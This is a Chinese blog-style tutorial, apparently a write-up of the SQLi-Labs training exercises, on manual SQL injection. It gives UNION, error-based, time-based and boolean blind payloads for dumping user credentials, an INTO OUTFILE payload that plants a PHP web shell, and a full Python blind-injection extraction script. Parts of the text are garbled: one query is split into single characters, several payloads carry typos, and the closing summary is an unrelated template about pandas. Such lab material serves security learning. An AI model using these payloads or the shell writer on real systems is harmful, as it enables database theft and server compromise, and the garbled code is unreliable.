前言
别忘记填坑
请记住添加mongndb数据库注入和json注入
判断数据库数量
SELECT * FROM users WHERE id=‘1’ and if((select count(*) from information_schema.schemata having count(schema_name))=‘12’,sleep(2),0);
如何成为人形SQLMAP?
请花点时间,看看着令人厌烦的基础吧
根据远古方法,判断有无注入点?
?id=1 and 1=1 正常
?id=1 and 1=2 报错
?id=1 or 1=1 正常
?id=1 or 1=2 报错
?id=1 xor 1=1 正常
?id=1 xor 1=2 报错
|| && 可以代替or 和 and
要了解注入的产生是什么?
select a from b where id = “$id”;
$id是我们输入的变量,只要这个变量是我们输入控制的(数据存在交互的地方)都有可能存在注入
我们可以输入“乱七八糟的参数值”,来查看页面的返回内容进行判断
select a from b where id = “乱七八糟的数值”; 来查看返回的内容
常用函数:
当前用户名 :user()
当前数据库名称 :database()
information_schema为数据源 5.0以上存在
table_schema数据库名,table_name表名,column_name字段名
当前数据库版本:version()
操作系统 @@version_compile_os
逐一进行查询limit 0,1
存在注入点之后,手工注入的基本流程:
1.首先要猜解字段数量
select a,b,c from d where id = “$id”;
这里网站数据库查询语句中查询字段数量为a,b,c三个,后面使用联合查询也要对应三个字段
$id=-1" union select 1,2,3 --+
select a,b,c from b where id ="-1" union select 1,2,3 --+
2.开始基本的信息收集,例如数据库版本、系统版本、当前数据库名称等
使用上述常用函数进行查询
select a,b,c from d where id = “-1” union select 1,group_concat(user()),3 --+
3.使用information_schema数据库中tables表和columns表进行相关查询
select a,b,c from d where id = “-1” union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() --+
4.获取想要的信息后进行针对查询
select a,b,c from d where id = “-1” union select password from users --+
跨库注入:要求当前用户权限较高
information_schema.schemata 下 chema_name 所有的数据库名
文件操作:
前提是要知道文件的绝对路径
如何获取文件路径:
1、报错信息 inurl:.edu warming
2、inurl:phpinfo.php
3、平台的配置文件
4、爆破
load_file(C://1.txt);读取
into outfile或者 into dumpfile
select ‘1’ into outfile “C://1.txt”;
https://blog.csdn.net/weixin_30292843/article/details/99381669
《SQLI-LABS》 一口气全念对
一、Page-1
1.Less-1
添加双引号无报错
使用单引号回显错误
猜测字段数
order by 3
union select 1,2,3
获取当前数据库名
当前数据库中的表名
查询users表中字段名
查询username和password
2.Less-2
先找到闭合字符
sql语句:
s
q
l
=
"
S
E
L
E
C
T
∗
F
R
O
M
u
s
e
r
s
W
H
E
R
E
i
d
=
sql="SELECT * FROM users WHERE id=
sql="SELECT∗FROMusersWHEREid=id LIMIT 0,1";
构造poc:
“SELECT * FROM users WHERE id=-1 union selcet 1,2,3 LIMIT 0,1”
这里猜字段也可以orderby一下
查看当前数据库
http://192.168.206.128/sqli-labs/Less-2/?id=-1 union select 1,group_concat(database()),3 --+
查看当前数据库的表
http://192.168.206.128/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3+from+information_schema.tables+where+table_schema=database() --+
user表中存在那些字段
http://192.168.206.128/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3+from+information_schema.columns+where+table_name=“users”–+
查询users表中用户名密码
http://192.168.206.128/sqli-labs/Less-2/?id=-1 union select 1,group_concat(username,";;",password),3+from+users±-+
3.Less-3
输入单引号报错提示’)
构造闭合并猜解字段
http://192.168.206.128/sqli-labs/Less-3/?id=-1’)+union+select+1,2,3±-+
数据库名-表名-字段
4.Less-4
调试闭合语句
http://192.168.206.128/sqli-labs/Less-4/?id=-1")+union+select+1,2,3±-+
步骤同上
5.Less-5
这里存在报错注入,可以看下十二种报错注入的方法
正常输入1显示登陆进去
输入123或者其他不存在的id没有显示
使用报错语句注入
http://192.168.206.128/sqli-labs/Less-5/
?id=-1’ and (select 1 from (select count(*),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a);±-+
将当前数据库中的表名逐个查询
http://192.168.0.112/sqli-labs/Less-5/?id=1’ and (select 1 from (select count(),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),floor (rand(0)2))x from information_schema.tables group by x)a)±-+
limit 0,1 1,1 2,1 3,1
表名查字段
http://192.168.0.112/sqli-labs/Less-5/?id=1’ and (select 1 from (select count(),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name=“users” limit 10,1),floor (rand(0)2))x from information_schema.tables group by x)a)±-+
limit 10,1和limit 11,1 找到username和passowd
users表中查看username和password
http://192.168.0.112/sqli-labs/Less-5/?id=1’ and (select 1 from (select count(),concat(0x3a,0x3a,(select password from users limit 1,1),floor (rand(0)2))x from information_schema.tables group by x)a)±-+
http://192.168.0.112/sqli-labs/Less-5/?id=1’ and (select 1 from (select count(),concat(0x3a,0x3a,(select username from users limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a)±-+
username和password对应起来 limit 1,1
除了报错注入还可以使用延迟注入
猜解字符使用延迟来判断(DNSLOG可以加速但有先决条件)
6.Less-6
和第五题一样,只不过闭合采用双引号“
这里使用延迟注入测试
构造闭合
http://192.168.0.112/sqli-labs/Less-6/?id=1"+±-+
测试注入点 使用bp抓包来显示延迟
id=1 正常的延迟
使用sleep函数睡眠5秒
id=1"+and+sleep(5)±-+
用来判断的主要函数:
if(1=1,1,2) 1=1为真返回1否则返回2 用来做判断
length() 长度 判断数据库名、表名、字段的长度(长度)
substr() 截取字符串 substr(”123“,1,1)从123字符串中截取从第一位开始截取一位
ascii() 转换成ascii码进行猜解ascii爆破名称
count() 用来判断count(table_name) 当前数据库有几张表或者多少字段(个数)
判断当前数据库的名称的长度为8位
SELECT * FROM users WHERE id=“1” and if((length(database()))=8,sleep(5),2);
判断当前数据库的ascii码名
SELECT * FROM users WHERE id=“1” and if(ascii(substr(database(),1,1))=115,sleep(5),2);
获取当权数据库名称为
security
当前数据库有几张表
"+and+if((select+count(table_name)+from+information_schema.tables+where+table_schema+=+“security”)=4,sleep(5),2)±-+
根据数据库名称查看表
依次判断每张表的长度后进行ascii码的爆破
“and If(length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))=6,sleep(10),1)–+
第一张表是emails存在6个字符
确定表的长度,开始爆破表的ascii码值
" and If(ascii((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))=101,sleep(10),1)–+
下面就是使用这种方式,库-表-字段、先确定长度在爆破ascii码
7.Less-7
这张图片给出提示,考察的是sql读写操作
into outfile是将查询结果导出在指定文件中
首先要清楚网站或者主机物理路径才能够写入shell并链接
在本地可以使用
show global variables like “%datadir%”; 查看当前路径
还要注意当前设置是否允许文件的读写
show global variables like ‘%secure_file_priv%’;
在my.ini中写入:
secure_file_priv=’’
重新数据库查看配置是否生效
使用select 1,2,3 into outfile ”“;
测试语句:
1’)) union select 1,2,’<?php @system($_POST["cmd"])?>’ into outfile “E:\phpStudy\WWW\sqli-labs\Less-7\1.php”–+
已经写入
命令执行
也可以使用经典套娃:
id=1’))+union+select+1,2,’<?php file_put_concat('2.php','<?php file_put_concat('3.php','<?php system($_GET['x']);?>’)?>’)?>’+into+outfile+'E:/phpStudy/WWW/1.php’±-+
8.Less-8
双引号的盲注
输入正确的id返回 You are in
输入错或者逻辑错误没有回显
使用and 1=1类似的布尔值进行猜解
可以使用sleep延迟
也可以编写脚本使用布尔值判断,遍历页面中是否存在you are in 的字样。
这一条语句,可以看到当前有12个数据库,我们需要足够的权限才能进行跨库查询。
’ and if((select count(*) from information_schema.schemata having count(schema_name))=‘12’,1,0) --+
写一个比较弱智的脚本跑吧
活生生的把面向对象的语言写成面向过程了
import requests
import sys
import http.client
baselenth = 0;
urlA = "";
zidian = ['database()', ];
# 如果有特殊符号自己添加到ziduan中
ziduan = [
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
'x', 'y', 'z',
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
'X', 'Y', 'Z',
'1', '2', '3', '4', '5', '6', '7', '8', '9', '0',
'~', '@','_'];
#ziduan = ['D','u','m','b','I','-','k','i','l','l','-','y','o','u','p','@','s','s','w','o','r','d','c','r','a','p','p','y','s','t','u','p','i','d','i','t','y','g','e','n','i','o','u','s','m','o','b','!','l','e','a','d','m','i','n','a','d','m','i','n','1','a','d','m','i','n','2','a','d','m','i','n','3','d','u','m','b','o','a','d','m','i','n','4'];
# 判断是否正确
flag = "You are in";
# 存放数据库数量
dbnum = 0;
# 存放当前用户名称
username = "";
# 获取当前页面的返回值用来布尔值判断
def pocload(poc, urlA):
url = urlA + poc;
#print(url)
conn = requests.get(url).text;
return conn;
# 1查询所有数据库数量
def alldbanum():
start = 1;
while (1):
poc = "?id=1' and if((select count(*) from information_schema.schemata having count(schema_name))='" + str(
start) + "',1,0) --+";
if flag in pocload(poc, urlA):
return start;
break;
else:
start = start + 1;
continue;
# 2查询当前用户名
def usernow():
username = "";
start = 0;
while (start < 16):
start = start + 1;
for a in ziduan:
poc = "?id=1'+and+if(substr(user()," + str(start) + ",1)='" + a + "',1,0)+--+";
if flag in pocload(poc, urlA):
username += a;
break;
else:
continue;
print(username);
# 3获取当前数据库长度
def databseslenth():
start = 0;
while (1):
start = start + 1;
poc = "?id=1' and if((select count(*) from information_schema.schemata)=" + str(start) + ",1,0)+--+";
if flag in pocload(poc, urlA):
return start;
break;
else:
continue;
# 4获取当前数据库
def databasesname():
datalenth = databseslenth();#调用获取当前数据库长度
databasename = "";
for a in range(1,datalenth):
for b in ziduan:
poc = "?id=1' and if(substr(database(),"+str(a)+",1)='"+b+"',1,0)+--+";
if flag in pocload(poc,urlA):
databasename += b;
break;
else:
continue;
return databasename;
#5当前数据库的表的数量
def datatablenum():
start = 0;
while(1):
start = start + 1;
poc = "?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())="+str(start)+",1,0)+--+";
if flag in pocload(poc,urlA):
return start;
else:
continue;
#6获取当前数据库中每张表
def tablename():
zongshu = datatablenum();#调用返回当前数据库所有表的数量
tableneum = [[0 for a in range(2)] for b in range(zongshu)];#根据表的数量创建一个二维数组[表名,长度][表名,长度][表名,长度]
for a in range(0,zongshu):
length = 0;
while(1):
length = length + 1;
poc = "?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit "+str(a)+",1))="+str(length)+",1,0)+--+";
if flag in pocload(poc,urlA):
tableneum[a][1] = length;
break;
else:
continue;
a = [i[1] for i in tableneum];#6,8,7,5
print(a)
t = 0;
name = "";
tnum = zongshu;
while(t < tnum):#
print(t)
for i in a:
print(i)
for j in range(1,i+1):
print(j)
for k in ziduan:
print(t,j,k)
poc = "?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit "+str(t)+",1),"+str(j)+",1)='"+str(k)+"',1,0)+--+";
if flag in pocload(poc,urlA):
name += k;
print(name)
break;
else:
continue;
tableneum[t][0] = name;
name = "";
t = t + 1;
for i in tableneum:
print(i)
#7先判断有多少字段--逐个爆破字段名称
def coulmnsnum():
a = 1;
while(1):
poc = "?id=1' and if((select count(column_name) from information_schema.columns where table_schema='security')="+str(a)+",1,0)+--+";
if flag in pocload(poc,urlA):
break;
else:
a = a + 1;
continue;
columnsnum = [[0 for i in range(2)] for a in range(a)] # 二维数组[字段名,位数][字段名,位数][字段名,位数]*12
start = 0;
num = 1;
while(start < a):
poc = "?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' limit "+str(start)+",1))="+str(num)+",1,0)+--+";
if flag in pocload(poc,urlA):
columnsnum[start][1] = num;
num = 1;
start = start + 1;
else:
num = num + 1;
for i in columnsnum:
print(i)
start = 0;
num = 1;
colums = [i[1] for i in columnsnum];
name = "";
while(start < a):#0<12
for i in colums:#2 8 2 7 10
for h in range(1,i+1):
for j in ziduan:
poc = "?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' limit "+str(start)+",1),"+str(h)+",1)='"+str(j)+"',1,0)+--+";
if flag in pocload(poc,urlA):
name += j;
break;
else:
continue;
columnsnum[start][0] = name;
name = "";
start = start + 1;
for i in columnsnum:
print(i)
#8查找字段的值
def columnvale():
#先输入单个字段名称 爆破个数
columnname = input("单个字段名称\r\n");
a = 1;
while(1):
poc = "?id=1' and if((select count("+columnname+") from security.users)="+str(a)+",1,0)+--+";
if flag in pocload(poc,urlA):
a = a;
break;
else:
a = a + 1;
continue;
columnsnum = [[0 for i in range(2)] for a in range(a)] # 二维数组[字段值,位数][字段值,位数]
start = 0;
num = 1;
while (start < a):
poc = "?id=1' and if(length((select "+str(columnname)+" from security.users limit "+str(start)+",1))="+str(num)+",1,0)+--+";
if flag in pocload(poc, urlA):
columnsnum[start][1] = num;
num = 1;
start = start + 1;
else:
num = num + 1;
for i in columnsnum:
print(i)
start = 0;
num = 1;
colums = [i[1] for i in columnsnum];
name = "";
while (start < a): # 0<12
for i in colums: # 2 8 2 7 10
for h in range(1, i + 1):
for j in ziduan:
poc = "?id=1' and if(substr((select "+str(columnname)+" from security.users limit "+str(start)+",1),"+str(h)+",1)='"+str(j)+"',1,0)+--+";
if flag in pocload(poc, urlA):
name += j;
break;
else:
continue;
columnsnum[start][0] = name;
name = "";
start = start + 1;
for i in columnsnum:
print(i)
'''
# 判断每个数据的长度,前提要知道有多少个数据库
def length(dbnum):
start = 1;
dbnum1 = dbnum;
for i in range(0, dbnum1):
while (1):
# ????????????????????????????????????????????????????????????????????
poc = "?id=1'+and+if(length(select schema_name from information_schema.schemata limit " + str(
i) + ",1)='" + str(start) + "',1,0)+--+";
if flag in pocload(poc, urlA):
print('第%d个数据库有%d字节' % i % start)
break;
else:
start = start + 1;
continue;
def databasename():
for start in range(1, baselenth + 1):
for a in ziduan:
poc = "?id=1'+and+if((substr(database()," + str(start) + ",1)='" + a + "'),1,0)+--+";
if flag in pocload(poc, urlA):
wirte(a);
break;
else:
continue;
def wirte(str):
with open('f:/1.txt', 'a') as f:
f.write(str)
def readd():
f = open('f:/1.txt', 'r');
str = f.read()
print(str)
f.close()
'''
if __name__ == "__main__":
urlA = input("输入url(http://xxxx/sqli-labs/Less-8/)\r\n");
alldbnum = alldbanum();#所有数据库的数量
print("共有"+str(alldbnum)+"个数据库\r\n");
unamenow = usernow();#当前用户名
print("当前用户名:"+str(unamenow)+"\r\n");
dbnamenow = databasesname();#当前数据库名称
print("当前数据库名称:"+str(dbnamenow)+"\r\n");
tablenum = datatablenum();#表数量
print("共有"+str(tablenum)+"张表\r\n");
alltablename = tablename();#每张表
print("以下是表名:"+str(alltablename)+"\r\n");
columnnum = coulmnsnum();#所有字段名称
print("所有字段名称"+columnnum+"\r\n");
columnvalue = columnvale();#字段值
9.Less-9
10.Less-10
二、Page-2
1.Less-1
三、Page-3
1.Less-1
四、Page-4
1.Less-1
该处使用的url网络请求的数据。
总结
提示:这里对文章进行总结:
例如:以上就是今天要讲的内容,本文仅仅简单介绍了pandas的使用,而pandas提供了大量能使我们快速便捷地处理数据的函数和方法。